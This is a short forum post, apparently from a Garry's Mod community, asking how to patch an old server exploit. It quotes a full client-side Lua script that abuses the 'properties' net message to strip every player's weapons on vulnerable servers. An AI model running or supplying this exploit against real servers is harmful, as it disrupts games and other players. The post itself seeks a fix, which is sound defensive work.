Hey, i know this was supposably patched years ago but i have seen in multiple cases where this has been usable on servers, I was wondering how i would go about manually patching this, i understand that cac probably blocks it but i just want to know for personal reference
This is what i mean:
function RemoveShit(ply)
if ply:IsPlayer() then
for k, v in pairs(ply:GetWeapons()) do
net.Start("properties")
net.WriteString("remove",32)
net.WriteEntity(v)
net.SendToServer()
end
end
end
concommand.Add("clear_weapons",function()
for k, v in pairs(player.GetAll()) do
RemoveShit(v)
end
end)